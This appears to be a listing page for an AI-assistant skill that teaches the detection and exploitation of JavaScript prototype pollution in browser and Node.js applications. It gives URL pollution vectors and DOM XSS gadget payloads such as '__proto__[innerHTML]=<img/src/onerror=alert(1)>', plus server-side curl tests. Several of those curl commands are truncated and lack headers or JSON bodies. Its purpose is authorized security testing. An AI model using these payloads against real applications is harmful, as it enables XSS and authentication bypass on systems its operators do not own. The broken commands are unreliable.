Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
When testing Node.js or JavaScript-heavy web applications
During assessment of APIs accepting deep-merged JSON objects
When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
During code review of object merge/clone/extend operations
When evaluating npm packages for prototype pollution gadgets
Prerequisites
Burp Suite with DOM Invader extension for client-side prototype pollution detection
Node.js development environment for server-side testing
Understanding of JavaScript prototype chain and object inheritance
Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
Prototype Pollution Gadgets Scanner Burp extension for server-side detection
Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Prototype Pollution Sources
// Client-side: Test URL-based sources// Navigate to: http://target.com/page?__proto__[polluted]=true// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true// Check in browser console:console.log(({}).polluted); // If returns "true", pollution confirmed// Common URL-based pollution vectors:// ?__proto__[key]=value// ?__proto__.key=value// ?constructor[prototype][key]=value// ?constructor.prototype.key=value// Hash fragment pollution:// http://target.com/#__proto__[key]=value
Step 2 — Test Server-Side Prototype Pollution
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d
curl -X POST http://target.com/api/update \
-H \
-d
curl -X POST http://target.com/api/merge \
-H \
-d
curl -X POST http://target.com/api/settings \
-H \
-d
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)// Step 2: Find a gadget - a property read from prototype that reaches a sink// Common gadgets for DOM XSS:// innerHTML gadget:// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>// jQuery $.html() gadget:// ?__proto__[html]=<img/src/onerror=alert(1)>// transport URL gadget (common in analytics scripts):// ?__proto__[transport_url]=data:,alert(1)//// Sanitizer bypass via prototype pollution:// ?__proto__[allowedTags]=<script>// ?__proto__[tagName]=IMG// Use DOM Invader (Burp Suite built-in):// 1. Enable DOM Invader in Burp's embedded browser// 2. Enable Prototype Pollution option// 3. Browse application - DOM Invader auto-detects sources// 4. Click "Scan for gadgets" to find exploitable sinks